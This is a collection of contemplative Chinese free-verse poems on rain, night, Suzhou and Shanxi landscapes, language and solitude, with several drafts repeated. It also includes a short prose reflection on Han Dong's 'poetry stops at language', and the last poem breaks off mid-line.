写完的信笺投进了掉漆绿色的邮箱。 \/ 城市把你推向了外面， 荒凉将美好来弹奏，只会 体现了你的急躁。星群 从无声的对话中摆脱，依然 被它们弄得焦头烂额， 怪罪于你的星光，迎上了 你思绪那以哲学称作的部分。 之子于归1091 《之子于归》 听声音如何到达声音，但不是碰撞。那些 银亮茹丝的闪光，文字和语言中的一部分 即使，它也曾长久占据了我的精神。 把无水的河流上面，停滞的船 移向岸边。我能做的如此的多余，对于 前往和退回我有着同样的心思。 寂静，茶杯还是静止在那里 那些它所盛放的水，有时 在莫须有的光芒般的语言后面， 同样，水波被称作了一场等待你我的到达。 夜晚的河1092 夜晚的河 《夜晚的河》 因为夜晚，我无法确定 朦胧如面纱一般与人 在争夺一个叫做打架 在平静之中的词语。 没有因对陷落进行表达而 唯一的沉默者，词在他自己 不闻不问的身上，接着消失。 对于我的这种获得， 他也采取了冷漠的态度。 词语，迷离的组成了夜晚的堤岸。 通过岸边的一棵树， 我随手如同摸到了最简单逻辑的 摸到了，斑驳的树皮。 我在河水里面， 或者那些言语之中被表达 有重量的事物正准备离开了河水。 河面，借着月光倒影出了 它们的身影，大地的引力随后 将它们拉了回来，碰撞在了 我言说的表面上。一次次的 对于这种证明的次数上的繁多， 我的语言就快要脱离了自己， 变得激烈，我想起了对于 打架这个词语和事物，犹如 创造一般的使用。夜晚平静。 枫桥镇6——1093 《枫桥镇6》 事物有另外的一个自己。当它就是 通往其他事物的曲径，钥匙和道路。 在打开的声音里面慢慢的消失。而 其他的事物紧闭的窗户，提供了迷惑 人的倾斜屋顶，或平整北方风格的 屋顶。红砖墙抹上了水泥，白色在 屋檐下面呈现。马车驶过大街上意义 浓厚的雾气。我们在内的一切都是 无法被准确判断的。那是早晨，起身， 昨夜睡眠质量很差。穿衣，吃饭。 从早晨到达傍晚，只在于轻轻的推开了 一扇房间里面的铁门。为保护这一微弱 的事物，在钥匙插入钥匙孔后，轻轻 旋转之中。 山西1094 山西 《山西》 在山西，安详的画面会看到我。 我在古老的目光里面踟蹰， 为缓慢，在这一犹如路程一般的 移动所发生上面，被定义为了 孤独的人儿，低下头，我看到了 它们朦胧的影子:一辆汽车。 折弯了的，并且平铺，语言表达了 在它上面的湿润。与干旱矛盾， 一场雨间断的下着，甚至令人生疑。 众人之中响起了山西在初秋下雨的 声音。我们就是去证实它，我们 一个接一个，向历史的干旱里面挖掘。 如果最初我们的准备充足，就是一些 断裂的句子。在空旷的广场，汽车如同 一个与未来和远处有关，溶洞的深处。 赞美的旅程在心里面荡漾，梦里面语言的 这一最初的源泉，醒了过来。即使我们 作者其他的事情，我们的旅途，山西， 只是广阔的大地，起伏的山川，沟壑， 被拉伸的属于我们的谜团，眼前的植被 像我们越来越细小的困惑，另外的一个我 不知道他会从哪里突然的跳了出来，或者 他再次的返回了历史的溶洞，我们空无一物 鲜活的躯壳，手里面拿着一封自己，写给自己 的信。 博尔赫斯的1095 《博尔赫斯的》 “古老的夜深邃，如一口小罐”。 :现在我引用时颇费时间流逝所引起 平复的周折。时间祸害了过去， 年轻的士兵，当他撤退。曾经为了时间 而战的士兵，空气中弥漫着两种不同的 力量，博尔赫斯和我们。 即使，我知道涣散与消逝 恶习的歌曲，总是以背景的方式 在日暮十分，才喜欢于悲情的调子 把舒缓的音乐弹奏。一切的结束 仿佛就是开始，一切从木头缺少琴弦 那里开始的一切，为重新而弹奏 声音低沉。低沉于我认定的沙哑， 在我的新的开始之前， 这一在彼此都认同于短暂如黄昏之上 的这一个平凡的声音。 别人偶然的误触，同时在我的 身体上面不断的如感激回荡。 我是这样一个缄默的面孔， 后背面对着语言，那些自我 撤离了的事物，披着抽离的语调 沿着他人给出的命运的道路， 而他，一个读者，与语言相遇了， 不再有隔阂，因此，同时的 将我的思绪来回想。也都是 不约而同的指向了此时此刻。 风景1096 《风景》 风景缺少的只是赞美。 赞美趁着此刻，去那里了。 山谷幽暗下来，月亮照着 停驻的马车。湖水平静 岸边的青草生长旺盛。 再往远处，景色却截然相反。 这种迥异为语言创造的 条件，如同地狱一般。 说着不同的言语，人们 从远方来。如今是从 过去持续不断敲打着晚钟。 始料未及之外的抵达和远 一样的复杂，远是了望 而环顾了我们已经拥有的。 在获得感上面的丢失，一点点 的，总好过于从未曾经历。 喃喃自语这样子的一种情境， 语言在寂静无声的夜里为夜晚 独歌。远有时候是对于别处 冲着那心里面的有所向往， 趁着它还没有消失，或者 如同那个点燃火把的人， 一点点的靠近，露出了她 女子的脸庞，微笑着，在 我们的心里面越烧越旺起来。 博尔赫斯二1097 《博尔赫斯的，二》 “古老的夜深邃，如一口小罐”。 :现在我引用时颇费时间流逝所引起 平复的周折。时间祸害了的过去 如同再次开始的一切，而它那名字 循环，对于言语所要求的沉默， 同样也是以温柔的方式。 年轻的士兵，撤退。曾为时间 而战，空气中弥漫着两种不同的 力量，博尔赫斯和我们也难以 为分清，而那在言说走进了语言的 实质，那并不会因此被推出来了的 人。我知道涣散与消逝之美， 恶习的歌曲，总以背景方式 日暮十分，才喜欢于悲情的调子 把舒缓的音乐弹奏。一切的结束 仿佛就是开始，一切从木头缺少琴弦 那里开始的一切，为重新而弹奏 声音低沉。低沉于我认定的沙哑， 在我的新的开始之前， 这一在彼此都认同于短暂如黄昏之上 的这一个平凡的声音。 别人偶然的误触，同时在我的 身体上面不断的如感激回荡。 我是这样一个缄默的面孔， 后背面对着语言，那些自我 撤离了的事物，披着抽离的语调 沿着他人给出的命运的道路， 而他，一个读者，与语言相遇了， 不再有隔阂，因此，同时的 将我的思绪来回想。也都是 不约而同的指向了此时此刻。 干涸1098 《干涸》 诗歌随后的否定，像刚刚它说出来的。 静止，处在了可以去观看的，更深的 位置。包括更深处在内，和那些疑问。 对于我们没有保持缄默，是否还有什么 处在表面呢。闪耀着无法被掠走的未来 的光芒。土地的干涸如同思想一样。 我要寻找的世间最简单的事物和逻辑， 就是干涸的嘴唇。我的目光看不到它 在久已经发生的变幻里面，以同样的 “无”的语气，仿佛这一身破旧衣服同样的 色彩。尽管它已经因为此而流逝，因为此 它是因那秋风而在饥饿中矛盾，腹中隆起。 拖拽着我自己，在路途上面，我多么 倦怠又熟悉，仿佛一双眼睛是不必要的， 不需要的。而语言以这种方式奇特的 重复了对一具生灵的拯救。大自然的秋风 仿佛又准备再次的穿越，两个不同的世界 荒草和生灵，看不见的虚幻之物，萦绕在 草叶渐渐枯黄的叶面之上。 查家湾1099 《查家湾》 村庄在丘陵的近处，分配着 傍晚的一切，傍晚为它们所代表 夕阳的余烬:池塘，丘陵，树林。 花岗岩修建的小路 途径了直通向这里的水库。 我都不知道这是那里， 目光从这种未知上面滑落。 位置的移动，从不同那里 那具体的景象就像为反对而 轻轻的移动。这发生了。确确实实 甚至是以无的方式，那些陌生感 从我的身体一点点的离去 如果我以亲近的方式下山， 在诗人长眠的居所， 并且在这种规定和永恒之中， 一种无形的波动在傍晚 在村庄上面漂浮着 故乡1100 《故乡》 充盈着敬意的夜晚，已经 从我心的这空空如也之处。 为了去赞美的那另外一个， 这里:用位置所试图来表示 它那后果，紧随着我手臂 挥舞的徒劳与无果。一切 都已经被搅扰，我渐渐的 尝试着去理解，我们的门扉 紧闭，对于一个过于热切的心。 嘴唇紧闭的不是我们，我慢慢 闭上了嘴唇，身处在模仿的 亲近里面。为注视着的是我的 无可奈何，那一丁点的自Y 相比而言如同熠熠生辉的时刻的 短暂。如夜晚的光明一般， 更为准确的这一个称呼，有时候 我尝试在鸿沟的旁边，命运和语言 以永恒的石头来称谓般的投下， 那伸出去的手儿因为接下来 会有所收获，而一直的伸出着， 仿佛为空和虚无的颂词，直到从 这里出发，为不可抗拒且美丽的夜 所推动，直到那神秘。那未来被 一种生命宁静之美的逐渐占据。 姑苏1101 《姑苏》 我一直知道着雨下个不停的原因。 一直被探听着的，越来越像 窗外有人，这雨下个不停的原因。 停留在原因上面的这些雨， 不是一天可以装满，不是一个 非常难以去解答的迷题。 梯田，农院，庄家，土路 湿润满溢了它们。面对着 我的，我沉默的面对着， 等待着它们自己在被淹没中 不得不发出了求救的说话声。 吟诵的诗篇缺少了美感，为这 也为了相比于此而刚刚逝去的 东西，它那声音变作了回声， 在远方和近处之间，只是一座山丘 在表达之间的这种含蓄，好像 仕女，在我追忆时刻的那样一种 如同你一般温柔的抚慰。我知道 那些我的回忆之物正冉冉升起 在不可解释里面的这一语言， 在它自身之外犹如再一次会被说出， 那一现在仍未遗失之物，快要遗失 之间的它，当我以现在的语言 试着去表述的时候。 姑苏1102 《姑苏》 一直，我知道着。我也 知道着结束，有关于的 无关于知的这一此时此刻。 时刻因此而美丽，召唤 来了一场雨水。雨水 浇淋，就是具体的我得感受。 没有什么可以在雨水之外 他们以此所证明的 欢欣，高过于朦胧 或者以此为原因才更加 显得具体了。作为动词 一般的这种误解，如果在 最初他们试图为其他而歌 在雨声滴答里面， 使得我不得不以一切 直到以整个世界。脸庞带着 猜疑的神情，他们的脸庞 是捉摸不定的。透过雨水 像帘慕，那些需要我透过之物 对于我的手的这种为何会变幻 做了那无妄之灾的一切，我的 手还在伸出，犹如与我已经脱离。 我要追逐的不是捉摸不定 在陌不相识的人身上升起 德性的法令。为一切早已 是虚妄的这犹如事实一般， 仿佛他们因此在雨水中低沉着 惊恐，为突然的意外而感到了 恐惧。我要摸到的这一只手。 我摸到了雨水中困难于弹奏的 关于一只手的歌曲。没有 包括我在内的听众，这个 奇异的弹奏者。雨水中简陋 背着它帆布的背包，模糊中 看到植物倾斜，一个个 低沉的音符。 语言和戏曲1104 《语言与戏曲》 关于“诗歌到语言为止”。 [cp]诗歌到语言为止从哲学上讲是有问题的，一种顽固化，有所效果方式延续、将它所要反对的推到了更深更难以察觉的地方。以看似解决的方式加固了它所试图去反对的。人是否优越。或者人，解决了什么问题的这一疑问。[\/cp] [cp]“诗歌到语言为止”，毋宁说意味着人要决绝的袖手旁观，任由它变成一场灾难，一场浩劫。人身处于废墟之中。而排除了任何其他的可能性。[\/cp] ————如果“诗歌到戏曲为止”。——什么意思？ 西方近代哲学所做的不就是对这种处理的处理么。而仿佛一种人类先天的本性，我举起了我的手，于是。。。。————“于是。。”是什么意思？难道不是一种对于人是世俗之物的写照。人们在大地上并没有那么的崇高与有意义，相反，是柴米油盐，欲望，贪婪，虚假，生活化了的一切，蜿蜒曲折，前后左右。————摩尔:“是的，我的眼前是一棵树，我看到它了”。 ————“我看到了一棵树”（摩尔）————韩东:“诗歌到语言为止”。后者在前者发生的那一个地方？ 枫桥镇六1105 《枫桥镇六》 人从这里离开，原因于 远去的这一错误。 当我试着以过度和夸张 缓和的语气，最后 自己挣扎，陷落 盐碱地月亮一般整个世界 的迷题。夜空幻梦的玻璃 蓝色与黑色。只有一条路， 英雄的耳语不断回荡。 闯进了夜色里面，就像 我在无边的黑夜中来回 走动。我试图缓和，这 不是真的。如同惯性一般 存在的，我懦弱的 看着，怒目圆睁因此 才存在于了语言，当金丝雀 睡了当我为它继续编制一个， 既不御寒也不保暖的窝。 在它收缩起来上面，为 翅膀歌唱着妥协的歌曲。 为盲目的鸟雀在于苦苦寻找 在最后的一点光明里面， 一边它代表着彻底的失败 为那些我所拒绝了的隐喻 一点点的还没有消退，我 所注视着的语言，这一边 车辆破损，我悄无声息的 抵达。那送来的我在犹豫， 和唯唯诺诺的话语之间， 像不久之后我就会无从了解 车辆上面的那些朦胧的雾气。 我也会陌生于自己，我遗忘 了我已经结束的睡眠。它 已经达到刚刚遗忘所表达 时间流逝所去到的那一个角落。 沉默之中因为车子的这一支 歌曲，在枝丫的摩擦声音 已经消失和结束之后。 在结束和消失以争论的准确性 而言称的那又一个新的开始， 我为结束而歌曲，神态 夜晚一般的莫名，夜晚 是我脆弱，贫瘠的脸庞，身体。 枫桥镇七1106 《枫桥镇七》 一直我都知道着。刚刚滑过了刻度， 钟表就提醒着带来了我的所不知。 这已经是一副人研究过了很多遍， 并且我自我对自我声音的辩白。 随时间曾一次次为过去和回忆响起。 沉默中的微小，比雨点还小。窗子外 犹如世界之中那小，摇摇欲坠，划过 天空，随后与我眼中的盲目迎头撞上。 如果我想要尽可能避免盲目，一切的 真相，而我们应认同，生活在虚假对于 它的吟诵:虚无。不像是什么的那雨水 因此在彼岸消歇，以消歇的方式来到了 这对于彼岸的猜测之地。以头脑里面对 思虑的困倦所表述的地方，占据了它的 那人类慵懒的居住。这场应该在我去往 南方而下起来了的雨水，作为另一场 雨水的思的前奏。干涸的河道上，木船 会被托举起来，缰绳将它栓在了岸边。 我猜测着一切都已经因为雨水与思虑之间， 密不可分的关系而结束了。有时候我再次 因为雨水而变得糊涂，就像现在，起身 异乡简陋，廉价的旅馆，从床上起身 在来不及为依然清晰的故乡的一切所 祷慰之前，这中间的闪电不仅仅为劈开 属于我自己的那一点点，需要我为此而 填补的，像异乡的工作。空气湿润，气候 温暖，内心的冰川开始解冻。我检查了我 所遗忘的和不远处唯一的一扇窗户。 在心里面为我所打开的，再次的合上， 现实里面发生的这一徒劳的重复， 手指的舞蹈为与心灵和无人知晓，一同 所演奏的一支歌曲。可以称作了南方的 枫桥夜雨的歌曲。 苏州听雨1107 《苏州听雨》 看看天气预报， 就能知道，只有推测的虚假 是真的，为这样一个时刻的短暂 我们的言语只是属于行动的一小部分 我听到了有关于验证和准备的话语 以隐喻的方式，面庞中微微显露着 随时都可能戛然而止的失败。 而你与我，我们都记得。跟群体 不一样，也没有什么属性被抛弃 出于它们自身是特别的。 讲述的话语平常的将可记忆在 心里面和嘴里默念。看看 天气预报，我们就知道 那些雨水因为什么而踟蹰 作为一种心灵里面一般的 梦幻，它们在中途折返 而阴云密布却事先就制造了 降落的密集的鼓点。 那些无的如同雨水一般， 不同于在史书中的记载。 真实与过去相互呼应， 只是为真的这一迷题， 我的头脑也曾经以消耗未来的 方式扭曲着。在平铺的时候 遗忘却始料未及的发生。 那些猜测历史一般的迟迟降落。 当我们把过去与现在终于相互融合， 人这一个无法离开的身体， 仿佛在观望于无的聊赖之中， 依然无法惊醒，或者终于 穿越过，并且平复了下来。 土地1108 《土地》 我在焦急之中，为不去耐心思考 这一行为的快捷。我的背身后， 因此由思虑组成的，在叫做它 或者暮色、夜色之间，踟蹰。最后由 大自然的伟力做出了推动向黑夜的评断。 如果我依然在被修饰一新的夜晚的 滩涂上面没有睡意。打扰了另外的一个。 有可能使得他因为我的逃避，而成为了 百口莫辩的坏人。谈论道德的时机总是如此， 背景甚至随着恍然惊讶的语气，事先就 笼罩起来。而我深陷于“一切”这种无意义之中， 挣扎，如果为失败而欢歌，人自身无论 何种情形都是渺小的，在那些对于人托举 起来的尊重那里。事情截然相反上面这一， 在上面朦胧雾气一般的笼罩，直到对于清晰 和确定，这一个词语本身和它在言说里面 准确的位置，随口说出的伟大已经因此经历了 同样伟大的精神历程，如果我不自知，是他们 的后代，子嗣。我的任务是为旧时代的土地而欢歌一生。 秋夜1109 《秋夜》 夜晚轻拂，描画着寂静，秋叶树上飘落。 像风之夜在于风开始像了别的和其他的。 在我目光的射程之内，我的语言激荡着 这些共用群星与黑暗，事物同一个颤抖的名字。 误解，跟任何其他轻微的原因是一样的。 我已厌倦回忆，湖面泛着粼粼波光。岸上 我为繁多而歌。鼓面简陋，粗糙， 我自己有时候也像一个鼓，我像在一个 模糊故事里面，幽静的夜晚，残缺的鼓 没有鼓面，敲击的沉闷因此不断的发出声音。 从我到我的这一个令得声音成谜的距离， 从人的离去这一声音独自的存在。如果人 真的离去了，为证明空无一物的声音存在着 为这一敲击鼓点却不需要任何的技巧和节奏 漫长的夜晚像一条因伸向了远方而同样平坦 的道路。我来到的时候还没有歌曲响起，时间的 耗费在于寻找，在于丢下又埋藏。更加详细的 内容是初来者累了，疲劳的没有一个可以言说的 源头。只有幽深神秘的夜晚，他面对着。 内心咚咚直跳，像一面鼓，我们的脸庞贴着秋夜的清凉 呼吸，像一片从树上滑落的叶子。 十一月1110 《十一月》 十一月临近年尾了， 它可能在梦一般的镜子中 再次的看到了自己。 从梦而言，出发，中途，折返 从一切作为开始而言，所要 表达的不过是充满了疑问的事情， 梦并不总是虚幻的， 对于真也不需要耗费白日里面 除了劳作之外，不多的气力了。 刺槐阴影提供的凉荫， 如果被解释后澄清的一切 都有一个归宿，并且以普通的样子 在大地上覆盖，掩饰。 因而我不得不相信，即使依然还有着 怀疑，我需要在按压下了它之后 没有说出的话语与大自然相互 连接的继续说出。即使， 背景属于别的，就像没有什么 为此提供了一个背景。山川， 树木，道路，池塘 也因此都有一个已经发生了的 归宿。就跟普通和普遍， 这一归宿一样。就像是一个 文字，有着重复而相互叠加的结构 它不曾具有的是文字以前的被发现 的历史。当文字的历史出现了， 甚至更加的详实，具体， 鲜活中也充满了焦虑和愤懑 那些我难以言说的东西抚慰着我， 因此我以此为基础的愤懑， 不同于大自然的那一场大风。 即使我与它不久之后都会消逝 从文字的最初而言，就像是 寻找的意思，之后，渐渐的有了 哀伤的歌谣。 米沃什的关于天使3——1111 《米沃什的关于天使3》 天S。你们被夺走的， 只剩下珍爱着自己身体 的这一情况。（像你推翻了自己 刚刚试图说出的话语， 隐约的论断带来了错误的 感觉，同样有正确的部分 只需要难以想象的等待 在自明里面的它们，像你 爱着的，爱也代表了一切）你也 你因此最后的无力， 是因果的另一个名字。 一点点的因为只是因为这一点 而一点点的脱落，你同时， 跨越了幅员辽阔的不同地方， 两个，是言语之词。诉说 被你伟岸的身影遮挡。 徐徐降下，复又升高 或者也可以以因果来称呼。 在这一被称作了人的权利的地方， 为我们所追忆的，就如同 它们始终停留在刚刚发生上面， 在脑海的新鲜属于记忆的深刻 而样子模糊上面。 我不会因为鄙视自己而取笑于， 走在同样一条弯曲巷子上面 却到达了更远处的别人。 我只是觉得在安居于简陋的居所之前， 自己走动的咚咚声，像一种符合 即使回音已经被多次的否定 在思和事实里面不会有着 翻A的可能性。傍晚的天空 光线充裕。我似乎因为某个 远去的背影而抓住了某个哲理 我思讨着，对于我自己的这一 贫乏的思，当它已经被折腾过很多遍了。 十一月2——1112 《十一月2》 十一月临近年尾了， 它可能在梦一般的镜子中 再次的看到了自己。 从梦而言，出发，中途，折返 从一切作为开始而言，所要 表达的不过是充满了疑问的事情。 梦并不总是虚幻的， 对于真也不需要耗费白日里面 除了劳作之外，不多的气力了。 刺槐阴影提供的凉荫， 如果被解释后澄清的一切 都有一个归宿，并且以普通的样子 在大地上覆盖，掩饰。 因而我不得不相信，即使依然还有着 怀疑，我需要在按压下了它之后 没有说出的话语与大自然相互 连接的继续说出。即使， 背景属于别的，就像没有什么 为此提供了一个背景。山川， 树木，道路，池塘 也因此都有一个已经发生了的 归宿。就跟普通和普遍， 这一归宿一样。就像是一个 文字，有着重复而相互叠加的结构 它不曾具有的是文字以前的被发现 的历史。当文字的历史出现了， 甚至更加的详实，具体， 鲜活中也充满了焦虑和愤懑 那些我难以言说的东西抚慰着我， 因此我以此为基础的愤懑， 不同于大自然的那一场 以生命的懦弱而言称的大风。 以消逝而比喻的我和它们， 在难以想象的这一个时刻、情形 下的我，如何才能将自己忽视呢。 我想要回到平静和自然， 我认定文字的最初是一场难以承受的灾难 无力的哀歌者还在旷野中流浪。 初秋1113 《初秋》 因为平凡的自然属性，最终它们 开始就如同在挥手之间被放弃了。 在它们的身下并没有隐藏着什么， 也没有一个新的事物，因为存在于 语言的寓所，笼罩在旧事物表面像 一道身影。这些解决办法如何呢。 指向其他的地方，其他的毫无演奏 天赋的乐章者，只是以沉闷的弹奏来 表达了此刻。现实的冰冷却初秋般的 围拢。我持续存在着这种难以放弃的 想法。通过脚步，我感激的姿态是 小心翼翼的:当从那些与我没有区别的 石头，草杆，红砖墙上，离开。也试图 进一步的离开以“离开”所自然，贴近表示 的回声时候它们的此刻。生活，我在 这个徐徐降下的气团里面，伴随着上午的 一声同样平凡，自然的惊异。 月亮1114 月亮 《月亮》 有人要画的，是那个他想要画 却丢失了画笔的月亮。 而田野上，月亮正帮他寻找着。 椅子1115 《椅子》 意愿停留在不可能之处， 我谈论。我带着遗憾， 目光的微弱依然可以 让我看到它，仿佛是那 没有被语言消化了的石头。 形状细小如雾气，秉承着 说出之后便团状，慢慢 消散的本质。继续沉睡 半睡半醒和开始，同样 具有着遗忘性质的它们 作为一个群体也已经是 不够的。如果我要说出的那些 行为是磨灭，也仅仅在意于此 的为此而生了。多么单纯， 我们的善良的时刻，成了 时刻此时的全部，使得我们， 那些逃脱了生命琐碎，波折的人 又一个新的可以在面对之中， 称作了生命的课题，就好像 确确实实有人从云雾缭绕的 山里，从山谷走了出来，这样 介绍自己:“我是你的梦的引路人”。 意愿，大地和爱彼此调整好了 关系的某一处。敞亮的房间 被说话声充盈，介绍起来了 包括我这睡梦着所梦到的一部分， 如果另外的属于现实，共同的 我们都曾远远的看到了它， 事先朦胧，因为以朦胧所描述 来表示的身影。 图书馆诗歌讨论1116 《图书馆诗歌讨论》 是否因为我的疑问， 你就在恍惚，彷徨之中确定。 所以世间的问题显露了自身 而我只是一撇，我躲开了 我撇开了那对于我，对于人 难免要旁落的注视。 在一瞬之间，遗忘要多过于 要大于其他，记忆为它而歌 那嗓音沙哑，配合着 在我目光迟滞里面听不懂的语言。 我深切的感受到了， 一个叫做了“我”的异乡人 是如何走进了敞亮的图书馆。 那继续孤零零的椅子， 坐在它那因为室内空空 而显得孤零零之上。 一开始就包括了空气，台阶， 大理石，书架，墙壁，扶手 我越来越像一个突兀闯入室内的人。 在有理有据之间彼此矛盾着 像接下来人们会谈论的诗歌的矛盾 它们没有任何的关系， 二者之间，或者生命突然百无聊赖的 时刻。我们无法为这种空白 作任何填补，连接式的缝合。 下午1117 《下午》 由睡眠和失眠共同抓着， 而后抓出一个叫做诗歌的东西。 但周身暗淡，没什么光泽。 二者就是二者之间的关系了 就像结束就在这里开始， 当准备代表两个，当两个 分立两端。具体的情形并不如 我们粗糙的描述那些矛盾， 源自于无辜的添油加醋。 源自于善良的添油加醋的，那 是什么我想知道。以怎样一种 方式，在经历了生活的磨难之后， 再次的磨难，心灵与精神， 仿佛那生活中的远没有停止的意思。 由这组成了我的困倦， 却潜藏在头脑之中，头发用来掩饰。 脸庞没有太多困倦的意思， 我起身永远都不是为了它。 因此我将一直深陷这种自然中 的矛盾，有时候我以为那是人类 的本性，有着可以让我，一个 思想残疾者才可以从生， 可以了望的那死亡，隐藏起来的是 行走，高低不平。道路却是平坦的。 米沃什的报告1118 《米沃什的报告》 啊，至高的Zhu。 我的语气还没有消散， 不同于对于您的感激。 即使没什么事情发生， 也绝不是像往常一样， 像它过于庞大的身躯， 难免会在未来投下试图 抹去这一刻的身影。一种 伟大的运动，源自于微小。 善意的良心仿佛消失，和 找不到了，它们在幽幽的空谷 为人类的寻找弹奏，高歌 像清脆的夜莺一般。 我们只能在话语里面知道着 它们。看起来就像知道着它们 过去的话语，种种事迹，还没有 结束，呼应并且与离开相配合 善良的心脏在微小的事物之中跳动 而我，也能在良善者的这一身份 到来之前，仿佛它根本上比之于 从未曾存在还要深刻和严重。 那些看起来矛盾的事物， 那些愈发因为遥远的事物 听不到我同样开始弹奏的赞歌。 于是，我环顾，将这空荡荡的 周围带来。同一时刻那寂静 带来了山谷。注意着，为你，为我 而祝福。投身于您， 骨头的苍老仍旧还可以弯曲 那是它站立而劳作辛勤的形象 用来当做躬身的此刻， 即使有时候我也为它的， 借此的消逝里，伟大的灵魂 我这懦弱之徒又该如何的去面对着。 庄园1119 《庄园》 情形只是情形，绵软无力。 否则它再也不会是别的 并因此静悄悄的丢失了自己。 在这个秋夜，有时候偶尔的会被 夏夜侵染，为此不会有另外的 行动了。像那些虫鸣，我们也 将注意力转移。从竹椅上起身， 目光聚焦。没准我心中会有一阵 惋惜，因为我打破了它的平静， 作为一个开始恪守职责，像确确实实 的是一个对获得有所满足的人， 我发觉最初的返归，就是这样一处 变得不简单的田园。像最初的句子 尘封太久了，并且与常新如此近距离 的连接。回想起来了此刻我所遗忘的， 有人在这种知上，最初的惋惜，遗憾 一点点的褪去，在成熟之后，再次 把它重新使用的，正是我这个肤浅的人。 枫桥镇八1120 《枫桥镇八》 人从这里离开， 影子紧随着:人彻底的 离开了。原因于远去的 这一像是错误的情形。 ————也在远去 并且推动着我，压迫着我 乃至于挤压出了我的话语 还未曾为它所做的伪装和 铺垫，还是我自己，和我们 在不喜欢于孤独一般的孤零零 里面，要求着的自己，为此 昙花而欢歌。于是， 错误的人们，即使继续错误又有 何妨呢。如果我在此夜， 季节的节日被如此这般的强调， 并不是对于它那突兀我置之不理， 对于何以如此的问询我也不会 再做出任何的解答了。我因此 代表了所有庸庸碌碌之徒， 这些突然降临的沉默， 秋夜一般的阴冷。像我，多穿了 几件衣服，就可以走到答案的 初夏。我迎接着黎明尚未到来 之前，漫长的错误所拥有了的 时辰，我也有足够的时间回忆， 看吧，那些并没有遗忘之物的具体 就像这个没有了形式与命运的世界 真是的束缚不过是肉体与现实的碰撞 一切为此欢歌者作为了对象， 逼迫着我的，我会叫出它们的伪装， 犹如在我的第一声里面， 原因于远去的———同样这也是我的 有关于自然而然的话语， 阿尔博阿多尔1121 《阿尔博阿多尔》 将他们联系在一起， 他们将要如此的占据未来， 为了平复，和一颗，因此 是接着另外的一颗，不同的 在趋向于相同的那上面 我不在，等同于排除了我的言语 或者我语言着的是“无”。 冉冉升起的寂寞的空无的星空 中的天幕。因此，请允许我 断定，那些高于白云，逻辑又 矛盾着的，那相同的另外的， 另外的一个——它抽烟，烟雾袅袅升起 如果那是一个因为模糊而因此 模糊的身影。他们将要占据的， 是未来的嘈杂，因为未来纷乱而 现在被默默的我的制定。有时候， 我也抽烟了一根舞伴一般的香烟， 被间接制定的我，多么的，像自己 的良心。 阿尔博阿多尔1122 阿尔博阿多尔 《阿尔博阿多尔》 将他们联系在一起， 他们将要如此的占据未来， 为了平复，和一颗，因此 是接着另外的一颗，不同的 在趋向于相同的那上面 我不在，等同于排除了我的言语 或者我语言着的是“无”。 冉冉升起的寂寞的空无的星空 中的天幕。因此，请允许我 断定，那些高于白云，逻辑又 矛盾着的，那相同的另外的， 另外的一个——它抽烟，烟雾袅袅升起 如果那是一个因为模糊而因此 模糊的身影。他们将要占据的， 是未来的嘈杂，因为未来纷乱而 现在被默默的我的指定。有时候， 我也抽烟了一根舞伴一般的香烟， 被间接指定的我，多么，像自己 的良心。 阿尔博阿多尔1123 阿尔博阿多尔 《阿尔博阿多尔》 将他们联系在一起， 他们将要如此的占据未来。 为了平复，和一颗因此 是接着另外的一颗。 不同的在趋向于相同的那上面， 我不在。等同于排除了我的言语 或者我语言着的是“无”。 冉冉升起的寂寞，空无星空 中的天幕。因此，请允许我 断定，那些高于白云，逻辑又 矛盾着的，那相同的另外的、 另外的一个——它抽烟， 烟雾袅袅升起。如果那是一个 因为模糊而因此模糊的身影。 他们将要占据的是未来的嘈杂， 因为未来纷乱而现在被默默的 我的被指定。有时候，我也抽了 一根舞伴一般的香烟，被间接 指定的我，多么，像自己的心。 灵岩山的小路1124 《灵岩山的小路》 念多了的孤独会慢慢暴露真相。 像掩埋，不再通过那通过了多次 而非一个原因的脑海了。 不经意也是，它不会在迷惑我。 把成双成对藏起来的，是人们 多么的在并不孤独上面的孤独。 人少于这种每天都与自己相见 的孤独，避开它的目的促使着。 人被催促着，移动也被。人会 陷入到一个因此难以辩驳，前方 道路尽头的幽深洞窟中。人每天 与自己相遇，人与自己与自己多次 的相遇相遇了。在理解和接纳之间 有一处需要人类来弥合的空间， 在说出之前的感觉，有着感觉 突然生出决然，突兀的堤岸。早晨 一具鲜活的肉体。早晨，原因于 昨夜而布满了宁静的回答。 灵岩山的小路之二1125 灵岩山的小路之二 《灵岩山的小路之二》 念多了的孤独会自己暴露真相。 像掩埋，同时有着另外的一个 因为因果而更早，对此准确描述的声音。 所以现在它是空的， 一切的空的事实，事实上的 把人一把推开，落在了它上。 人，因此是揣着语言而因 此种无形而惴惴不安者。 叫人以人，只是惊吓人。 只会引起因此乏味却并不无聊的 人受到了惊吓的后果。 早晨，意味着结束。 常新需要背着书包以外的， 拿着一把用来清扫的扫帚。 人，遇见了。人， 我的沉默来自于被他的言语吞噬掉。 现在，我听着这嘎嘣嘎嘣的咀嚼声 我向你传递的，也可能就是 从人到人类的，牙齿坚硬的传统。 我把它提升为了一种发现， 躲避着，沉默因此的真相是 躲避着，躲开来的成行里面， 沉默一次次的诞生。 早晨的沟沟壑壑还包括着， 那最为重要的，那自己想要 遗忘的话语——他抓住了它 并且顺着它滑下，试图离开此地。 （具体的内容我也忘了） 灵岩山的小路之三1126 灵岩山的小路之三 《灵岩山的小路之三》 念多了的孤独会慢慢暴露真相。 念有罪，只好念的只是无罪的那些。 有，存在。但我的心灵 同样也是在另一片天空的存在 之下面遗忘着。而这种遗忘如此的大 只有在我作为一个小的它从此而来的时候 也是，别的因为此刻的时候了。 时间，在时间里面重复。 单一，是成为了的一个。 如果确确实实，在我承认之后 可能x冷淡的开始了。 如果我遗忘了这一半的天空， 除开了我之外的景象， 我没有见过，没有见过的像 我的来世和亡故后一般。 傍晚的列车1127 《傍晚的列车》 我懒得解释，窗户外面的声音足够嘈杂。 争论着一个是否足够或已是过度的问题。 夕阳照在列车上，接着在大地投下了， 最终大家都偃旗息鼓的影子。正确和错误， 入口处的阴影分割，一张暗白两色的脸 转瞬即逝，连同人拖着行李箱的身影， 像另外一张火车票。我迎接黑暗，人们 在黑暗里试图存在。被消除的自己，才会 由自己来打破。就像我们身处了不同的场合 同一个事物却努力的保持了不变。平静， 愈发显得弥足珍贵。像这样的溢美之词，轻微的 眩晕如同越来越平稳的火车开动。如果一个人 突然有危局的感觉。暴露了自己第一次出远门 坐长途火车的经历。他就坐在我的对面，我尽力 保持着自己枯瘦贫乏如农村山水和木雕的样子。 他却推远了我所思索的问题，指出那不值一提 